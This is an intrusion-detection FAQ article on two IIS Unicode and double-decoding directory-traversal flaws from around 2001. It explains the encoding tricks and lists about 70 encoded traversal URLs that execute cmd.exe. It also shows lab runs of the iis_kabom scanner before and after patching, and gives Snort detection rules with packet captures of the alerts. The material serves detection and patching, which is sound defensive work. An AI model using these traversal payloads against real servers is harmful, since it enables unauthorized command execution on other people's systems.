Intrusion Detection FAQ: What are unicode vulnerabilities on Internet Information Server (IIS)?

Tom Rodriguez

A number of recent worms—including the Red Worm, Red Worm II, and Nimda worm—have exploited Unicode vulnerabilities in the IIS server in order to achieve phenomenal growth. This article will describe and examine these vulnerabilities.

There are two major vulnerabilities: the IIS/PWS Exetended Unicode Directory Traversal Vulnerability and the IIS/PWS Escaped Character Decoding Command Execution Vulnerability.

IIS/PWS Exetended Unicode Directory Traversal Vulnerability

The IIS/PWS Extended Unicode Directory Traversal vulnerability relies on the fact that Windows machines utilize an underlying code, called Unicode, in order to encode characters. A single Unicode character is encoded using two octets. In Internet Information Server (IIS) an ASCII character can be represented by a Unicode character by using the following representation:
Representation Value (ASCII)
%c0%hh 0xhh
%c1%hh 0x40 + 0xhh
where hh is a hexadecimal number strictly less than 0x40.

Therefore, to represent the character ‘/’, you would use the representation “%c0%2f”, since the character ‘/’ is ASCII character 0x2f. To represent the character ‘\’, you would use the representation “%c1%1c”, since the character ‘\’ is ASCII character 0x5c ( (0x40 + 0x1c) mod 0x80 = 0x5c).

Fortunately for most US sites, this exploit (as described) only works on machines with a foreign character set (such as Chinese). Unfortunately, there seems to be a workaround to make it work on US systems. For US systems, at least the following two Unicode Representations work:
Representation Value (ASCII)
%c0%af ‘/’
%c1%9c ‘\’
Normally, IIS checks URL strings to ensure that certain constructs do not occur. For example, the following string will be caught by the parser:

http://www.example.com/scripts/..\../winnt/system32/cmd.exe?/c+dir

Obviously, the requester is attempting to access some parent of the “/scripts” directory, and IIS catches this and returns an HTTP 404 - File not found response. However, when the exact same request is made in the following form:

http://www.example.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir

The response is:

Directory of c:\inetpub\scripts
10/01/2001  03:46p      <DIR>          .
10/01/2001  03:46p      <DIR>          ..
               0 File(s)              0 bytes
               2 Dir(s)   2,527,547,392 bytes free
This vulnerability was originally described by an anonymous poster to the PacketStorm Windows mailinglist (on 10-OCT-2000, see http://209.100.212.5/cgi-bin/cbmc/forums.cgi?datopic=Windows&mesgcheck=defined&gum=474) and elaborated further by Rain Forest Puppy on Bugtraq (on 17-OCT-2000, <http://www.securityfocus.com/cgi-bin/archive.pl?id=1&mid=140091

Microsoft’s description and fix (Security Bulletin MS00-078) is located at http://www.microsoft.com/technet/security/bulletin/ms00-078.asp. A fix for this was published by Microsoft, and has been subsequently included in Windows 2000 Service Pack 2.

An NSFocus analysis can be obtained at: http://www.nsfocus.com/english/homepage/sa_06.htm.

IIS/PWS Escaped Character Decoding Command Execution Vulnerability

In May of 2001 IIS was discovered to be vulnerable to yet another attack along the same lines. In this attack, the script or executable file name is encoded specifically to bypass a security check in IIS.

When IIS receives a request referring to a script or executable, it performs URL decoding (converting %hh characters to their ASCII representations) and then performs a security check to ensure that the resulting script or executable path does not attempt to migrate out of the base share. Unfortunately, a second (unnecessary) URL decoding pass is then performed after this check. By specially crafting the URL, it is possible to essentially bypass the security check.

For example, the following URL:

http://www.example.com/scripts/..%255c../winnt/system32/attrib.exe?c:\*.*


after initial URL decoding ("%25" converts into ‘%’) results in:

http://www.example.com/scripts/..%5c../winnt/system32/attrib.exe?c:\*.*


This is passed to the security check, and it passes. Unfortunately, a second URL decode then occurs (converting the “%5c” into ‘\’) resulting in the following URL getting processed:

http://www.example.com/scripts/..\../winnt/system32/attrib.exe?c:\*.*


This works because the IIS server first determines that the executable file is located under an executable share (ostensibly under the “/scripts” share). However, it is incorrect in this assessment, since the “..\..” portion of the URL indicates utilizing a parent share (the root share in this case) followed by the actual path to the executable. Nevertheless, it works.

At this point the attacker can see all files in the C:\ directory, whether hidden or not. This mechanism therefore (again!) allows an attacker to run any arbitrary executable on the target system, even if the executable is outside of the public web directories.

More details and a patch for this bug are located on the Microsoft website at http://www.microsoft.com/technet/security/bulletin/MS01-026.asp.

This new exploit was originally detected by NSFocus, details are at http://www.nsfocus.com/english/homepage/sa01-02.htm.

Ramifications

Both of these attacks have been known for some time now, and patches for them have been published. Nevertheless, many systems remain unpatched and vulnerable. These specific mechanisms have been used in recent attacks, including most recently the NIMDA worm.

Example

I used the iis_kabom script posted to the bugtraq mailing list on July 24, 2001 by BoloTron (http://cert.uni-stuttgart.de/archive/bugtraq/2001/07/msg00537.html). This performs 70 separate requests that exploit various Unicode vulnerabilities, specifically the following URLs (The http and server name prefix have been omitted for brevity):

# URL
0 /msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\
1 /msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
2 /msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
3 /msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
4 /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
5 /scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\
6 /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
7 /msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\
8 /msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
9 /msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
10 /msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
11 /MSADC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
12 /MSADC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
13 /MSADC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
14 /MSADC/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
15 /_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\
16 /_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
17 /_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
18 /_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
19 /PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
20 /PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
21 /PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
22 /PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
23 /Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
24 /Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
25 /Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
26 /Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
27 /_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\
28 /_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
29 /_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
30 /_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
31 /samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
32 /cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
33 /iisadmpwd/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\
34 /_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
35 /adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
36 /scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir+c:\
37 /scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+c:\
38 /scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir+c:\
39 /scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\
40 /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
41 /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
42 /scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\
43 /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
44 /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\
45 /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\
46 /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\
47 /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\
48 /msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
49 /_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
50 /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
51 /scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\
52 /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\
53 /scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\
54 /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\
55 /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\
56 /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
57 /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\
58 /scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\
59 /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\
60 /scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\
61 /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\
62 /scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\
63 /msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c+dir+c:\
64 /cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
65 /samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
66 /iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
67 /_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
68 /_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
69 /adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

On one machine (the target, IP 10.0.0.102) I installed Windows 2000 Professional with IIS directly from the CD, without any service packs or updates (sadly, I would bet that many systems on the Internet are setup just this way). A second machine was setup with Red Hat Linux 6.2 (the source or "attacker").

I cut out the code from the bugtraq mailing[1], and saved it on the source machine as iis_kabom. The following is a transcript of my run of iis_kabom:
tom@attacker:/home/tom> ./iis_kabom -t 10.0.0.102
Trying variant number 0 -----> vulnerable!!
Trying variant number 1 -----> vulnerable!!
        ... all identical ...
Trying variant number 13 -----> vulnerable!!
Trying variant number 14 -----> vulnerable!!
Trying variant number 15 -----> No Vulnerable :(
Trying variant number 16 -----> No Vulnerable :(
        ... all identical ...
Trying variant number 35 -----> No Vulnerable :(
Trying variant number 36 -----> No Vulnerable :(
Trying variant number 37 -----> vulnerable!!
Trying variant number 38 -----> vulnerable!!
Trying variant number 39 -----> vulnerable!!
Trying variant number 40 -----> vulnerable!!
Trying variant number 41 -----> No Vulnerable :(
Trying variant number 42 -----> No Vulnerable :(
Trying variant number 43 -----> vulnerable!!
Trying variant number 44 -----> No Vulnerable :(
Trying variant number 45 -----> No Vulnerable :(
Trying variant number 46 -----> vulnerable!!
Trying variant number 47 -----> No Vulnerable :(
Trying variant number 48 -----> vulnerable!!
Trying variant number 49 -----> No Vulnerable :(
Trying variant number 50 -----> vulnerable!!
Trying variant number 51 -----> No Vulnerable :(
Trying variant number 52 -----> No Vulnerable :(
Trying variant number 53 -----> No Vulnerable :(
Trying variant number 54 -----> No Vulnerable :(
Trying variant number 55 -----> No Vulnerable :(
Trying variant number 56 -----> No Vulnerable :(
Trying variant number 57 -----> vulnerable!!
Trying variant number 58 -----> No Vulnerable :(
Trying variant number 59 -----> vulnerable!!
Trying variant number 60 -----> No Vulnerable :(
Trying variant number 61 -----> No Vulnerable :(
        ... all identical ...
Trying variant number 68 -----> No Vulnerable :(
Trying variant number 69 -----> No Vulnerable :(
The /_vti_bin, /PBServer, /Rpc, /samples, /cgi-bin, /iisadmpwd, and /adsamples shares do not exist so these variants do not work, as indicated by the failure of variants 15-35, 49, and 62-69 which should have otherwise worked. Further, the “%c1%1c” and “%c0%2f” constructs do not work (since this machine uses a U.S. character set), so variants 36, 41, and 56 do not work. Variants 42, 44, 45, 47, 52, 53, 54, and 55 use nonsensical values (such as “%pc”, which is not a hexadecimal value) and so do not work. Variants 58, 60, and 61 do not use useful Unicode character sequences (at least for the U.S. character set) and so do not work.

Installing Windows 2000 SP1 onto 10.0.0.102 did not improve matters, and the results were the same. Installing Windows 2000 SP2 and then rerunning the iis_kabom script resulted in the following:
tom@attacker:/home/tom> ./iis_kabom -t 10.0.0.102
Trying variant number 0 -----> vulnerable!!
Trying variant number 1 -----> vulnerable!!
        ... all identical ...
Trying variant number 13 -----> vulnerable!!
Trying variant number 14 -----> vulnerable!!
Trying variant number 15 -----> No Vulnerable :(
Trying variant number 16 -----> No Vulnerable :(
        ... all identical ...
Trying variant number 37 -----> No Vulnerable :(
Trying variant number 38 -----> No Vulnerable :(
Trying variant number 39 -----> vulnerable!!
Trying variant number 40 -----> vulnerable!!
Trying variant number 41 -----> No Vulnerable :(
Trying variant number 42 -----> No Vulnerable :(
        ... all identical ...
Trying variant number 68 -----> No Vulnerable :(
Trying variant number 69 -----> No Vulnerable :(
The IIS/PWS Exetended Unicode Directory Traversal vulnerability has been closed (see variants 36-38 and 41-61). However, even with SP2 installed the IIS/PWS Escaped Character Decoding Command Execution vulnerability exists, as shown by the success of variants 0-14 and 39-40.

Installing security patch MS01-044 (located at http://www.microsoft.com/technet/security/bulletin/MS01-044.asp) (also available through the Windows Update page at http://windowsupdate.Microsoft.com/) and re-running the iis_kabom program produced the following:
tom@attacker:/home/tom> ./iis_kabom -t 10.0.0.102
Trying variant number 0 -----> No Vulnerable :(
Trying variant number 1 -----> No Vulnerable :(
        ... all identical ...
Trying variant number 68 -----> No Vulnerable :(
Trying variant number 69 -----> No Vulnerable :(
The security patch seems to have fixed the IIS/PWS Escaped Character Decoding Command Execution vulnerability.

Detection of the Unicode Vulnerabilities

The Unicode vulnerabilities are at once simple and complex to catch. As can be seen in the above example, the vulnerabilities can visually be detected because of the characteristic percent sign followed by numbers, as in "%255c" or "%c1%1c". When looking for specific signatures, such as the NIMDA worm, it seems almost trivial to create a rule to detect the attack.

However, upon further analysis development of a useful simple signature (such as a snort rule) quickly becomes difficult. There are two main problems:
  1. The "signature" of a specific attack (such as Nimda) requires examination of a multitude of these requests. For example, Nimda uses 14-16 different requests to deduce whether a system is vulnerable; a single such signature is insufficient to suggest that the attack is from Nimda. Certainty that the attack is the Nimda worm would require a minimum number of such signatures (e.g., possibly 5 signatures) to be recognized. Most IDS systems would individually note multiple "Unicode" attacks, instead of a single Nimda attack.
  2. The Unicode attacks may take on a variety of values. For instance, "%25%35%63", "%255C" and "%5c" are all Unicode sequences, and all represent the same character ‘\’. And sometimes they are not attacks, such as when used to represent normally disallowed characters (such as encoding "Tom Rodriguez.htm" as "Tom%20Rodriguez.htm"). A mechanism which simply looks for "%hh" where h is a hexadecimal character is naïve: you will get many false positives.
Practically, the way to deal with the second issue is to choose a few sample Unicode strings that are known to be problematic, and realize that you could be missing some. A good set of signatures would include the Unicode encodings for the ‘%’, ‘\’, ‘/’, and ‘.’ characters (since these are used most often for attempting to get outside of the base directory/share).

Detection of the IIS/PWS Exetended Unicode Directory Traversal vulnerability is the simpler of the two. We are looking for the following strings:
%[Cc]0%hh
%[Cc]1%hh
The following snort v. 1.8 rules will do the trick:
alert tcp any -> any 80 (msg:"WEB-IIS Escaped Char. Decoding Cmd
Execution";flags: A+; uricontent:"..%5c"; 
reference:url,http://www.microsoft.com/technet/security/bulletin/MS01-026.asp;)

alert tcp any -> any 80 (msg:"WEB-IIS Escaped Char. Decoding Cmd
Execution";flags: A+; uricontent:"..%2f"; 
reference:url,http://www.microsoft.com/technet/security/bulletin/MS01-026.asp;) 
Since snort comes with the http_decode preprocessor (which detects Unicode attacks), I ran the iis_kabom script with no rules (but the default preprocessors turned on), and I received 40 Unicode detects. I certainly would have expected more, since there were 66 valid Unicode requests. The following is a representative example:
[**] spp_unidecode: CGI Null Byte attack detected [**]
10/07-12:55:07.140625 192.168.201.11:49673 -> 192.168.201.102:80
TCP TTL:64 TOS:0x0 ID:32179 IpLen:20 DgmLen:160 DF
***AP*** Seq: 0x4BEB6760  Ack: 0x9C7E44D6  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 170138350 0 
0x0000: 00 B0 D0 6D 3F 75 00 02 B3 5B CB FB 08 00 45 00  ...m?u...[....E.
0x0010: 00 A0 7D B3 40 00 40 06 A8 E1 C0 A8 C9 0B C0 A8  ..}.@.@.........
0x0020: C9 66 C2 09 00 50 4B EB 67 60 9C 7E 44 D6 80 18  .f...PK.g`.~D...
0x0030: 16 D0 A2 95 00 00 01 01 08 0A 0A 24 1A EE 00 00  ...........$....
0x0040: 00 00 47 45 54 20 2F 5F 76 74 69 5F 62 69 6E 2F  ..GET /_vti_bin/
0x0050: 2E 2E 25 25 33 35 25 36 33 2E 2E 25 25 33 35 25  ..%%35%63..%%35%
0x0060: 36 33 2E 2E 25 25 33 35 25 36 33 2E 2E 25 25 33  63..%%35%63..%%3
0x0070: 35 25 36 33 2E 2E 25 25 33 35 25 36 33 2E 2E 2F  5%63..%%35%63../
0x0080: 77 69 6E 6E 74 2F 73 79 73 74 65 6D 33 32 2F 63  winnt/system32/c
0x0090: 6D 64 2E 65 78 65 3F 2F 63 2B 64 69 72 2B 63 3A  md.exe?/c+dir+c:
0x00A0: 5C 20 48 54 54 50 2F 31 2E 30 0D 0A 0D 0A        \ HTTP/1.0....
 
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
 
[**] spp_unidecode: Invalid Unicode String detected [**]
10/07-12:55:07.178762 192.168.201.11:49680 -> 192.168.201.102:80
TCP TTL:64 TOS:0x0 ID:7752 IpLen:20 DgmLen:143 DF
***AP*** Seq: 0x4B3F04B5  Ack: 0x9C8311EE  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 170138354 0 
0x0000: 00 B0 D0 6D 3F 75 00 02 B3 5B CB FB 08 00 45 00  ...m?u...[....E.
0x0010: 00 8F 1E 48 40 00 40 06 08 5E C0 A8 C9 0B C0 A8  ...H@.@..^......
0x0020: C9 66 C2 10 00 50 4B 3F 04 B5 9C 83 11 EE 80 18  .f...PK?........
0x0030: 16 D0 38 7A 00 00 01 01 08 0A 0A 24 1A F2 00 00  ..8z.......$....
0x0040: 00 00 47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E  ..GET /scripts/.
0x0050: 2E 25 43 31 25 31 43 2E 2E 25 43 31 25 31 43 2E  .%C1%1C..%C1%1C.
0x0060: 2E 25 43 31 25 31 43 2E 2E 25 43 31 25 31 43 77  .%C1%1C..%C1%1Cw
0x0070: 69 6E 6E 74 2F 73 79 73 74 65 6D 33 32 2F 63 6D  innt/system32/cm
0x0080: 64 2E 65 78 65 3F 2F 63 2B 64 69 72 2B 63 3A 5C  d.exe?/c+dir+c:\
0x0090: 20 48 54 54 50 2F 31 2E 30 0D 0A 0D 0A            HTTP/1.0....
 
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
 
[**] spp_unidecode: Unicode Directory Transversal attack detected [**]
10/07-12:55:07.184640 192.168.201.11:49681 -> 192.168.201.102:80
TCP TTL:64 TOS:0x0 ID:29079 IpLen:20 DgmLen:143 DF
***AP*** Seq: 0x4B2D6B67  Ack: 0x9C839FE4  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 170138355 0 
0x0000: 00 B0 D0 6D 3F 75 00 02 B3 5B CB FB 08 00 45 00  ...m?u...[....E.
0x0010: 00 8F 71 97 40 00 40 06 B5 0E C0 A8 C9 0B C0 A8  ..q.@.@.........
0x0020: C9 66 C2 11 00 50 4B 2D 6B 67 9C 83 9F E4 80 18  .f...PK-kg......
0x0030: 16 D0 43 C1 00 00 01 01 08 0A 0A 24 1A F3 00 00  ..C........$....
0x0040: 00 00 47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E  ..GET /scripts/.
0x0050: 2E 25 43 31 25 39 43 2E 2E 25 43 31 25 39 43 2E  .%C1%9C..%C1%9C.
0x0060: 2E 25 43 31 25 39 43 2E 2E 25 43 31 25 39 43 77  .%C1%9C..%C1%9Cw
0x0070: 69 6E 6E 74 2F 73 79 73 74 65 6D 33 32 2F 63 6D  innt/system32/cm
0x0080: 64 2E 65 78 65 3F 2F 63 2B 64 69 72 2B 63 3A 5C  d.exe?/c+dir+c:\
0x0090: 20 48 54 54 50 2F 31 2E 30 0D 0A 0D 0A            HTTP/1.0....
Note that only 40 alerts were received. As you can see, the IIS/PWS Extended Unicode Directory Traversal vulnerability was detected, although detected as "Invalid Unicode String" and "Directory Transversal Attack". However, only some versions of the IIS/PWS Escaped Character Decoding Command Execution vulnerability were recognized (and these were alerted as "CGI Null Byte attack detected", a confusing misdirection).

When the two snort rules specified above are in place and the iis_kabom script is run I received 66 alerts regarding Unicode issues, including 26 "WEB-IIS Escaped Char. Decoding Cmd Execution" alerts (detecting the otherwise unrecognized IIS/PWS Escaped Character Decoding Command Execution vulnerability). Here is an example of one such alert:
[**] WEB-IIS Escaped Char. Decoding Cmd Execution [**]
10/07-12:56:03.215196 192.168.201.11:49714 -> 192.168.201.102:80
TCP TTL:64 TOS:0x0 ID:35097 IpLen:20 DgmLen:139 DF
***AP*** Seq: 0x4E4BB9C2  Ack: 0x9D72B5E8  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 170143958 0 
0x0000: 00 B0 D0 6D 3F 75 00 02 B3 5B CB FB 08 00 45 00  ...m?u...[....E.
0x0010: 00 8B 89 19 40 00 40 06 9D 90 C0 A8 C9 0B C0 A8  ....@.@.........
0x0020: C9 66 C2 32 00 50 4E 4B B9 C2 9D 72 B5 E8 80 18  .f.2.PNK...r....
0x0030: 16 D0 BC 95 00 00 01 01 08 0A 0A 24 30 D6 00 00  ...........$0...
0x0040: 00 00 47 45 54 20 2F 6D 73 61 64 63 2F 2E 2E 25  ..GET /msadc/..%
0x0050: 35 63 2E 2E 2F 2E 2E 25 35 63 2E 2E 2F 2E 2E 25  5c../..%5c../..%
0x0060: 35 63 2E 2E 2F 77 69 6E 6E 74 2F 73 79 73 74 65  5c../winnt/syste
0x0070: 6D 33 32 2F 63 6D 64 2E 65 78 65 3F 2F 63 2B 64  m32/cmd.exe?/c+d
0x0080: 69 72 2B 63 3A 5C 20 48 54 54 50 2F 31 2E 30 0D  ir+c:\ HTTP/1.0.
0x0090: 0A 0D 0A 2E 30 0D 0A 0D 0A    
The careful observer will note that all of the above signatures could have been captured by the existing “WEB-IIS cmd.exe access” rule. However, if the user happened to use something else, such as “root.exe”, “attrib.com”, or some other executable program, the “WEB-IIS cmd.exe access” rule would not detect it while the Unicode-specific rules above would.

Conclusion

Many current worms, including the Code Red variants and Nimda, have used these two Unicode vulnerabilities in IIS to good effect. While not necessarily providing administrative access, these vulnerabilities do allow attackers to run arbitrary code on the target machines, possibly uploading further compromises (as Nimda does using TFTP).

Systems can protect themselves from these specific vulnerabilities by installing the recent service packs and security updates from Microsoft. Wise web administrators, however, will seriously consider the possibility of other similar sorts of vulnerabilities and will take further measures to ensure safety. These include:
  1. Don’t use default directory/share names and/or locations. Customize them for your site.
  2. Carefully set permissions on shares.
  3. Turn off all unneeded functions and/or disable unused extensions in IIS.
These, and many other suggestions, are available both from Microsoft (for IIS5 see http://www.microsoft.com/technet/security/tools/iis5cl.asp, for IIS4 see http://www.microsoft.com/technet/security/tools/iis4cl.asp) and many other organizations (such as SANS "Securing Microsoft’s IIS Web Server".

[1] I made a few modifications: The original code stops after it finds a vulnerability; I removed this so it would look for all vulnerabilities. I also added a line of code to clear the result buffer after each test.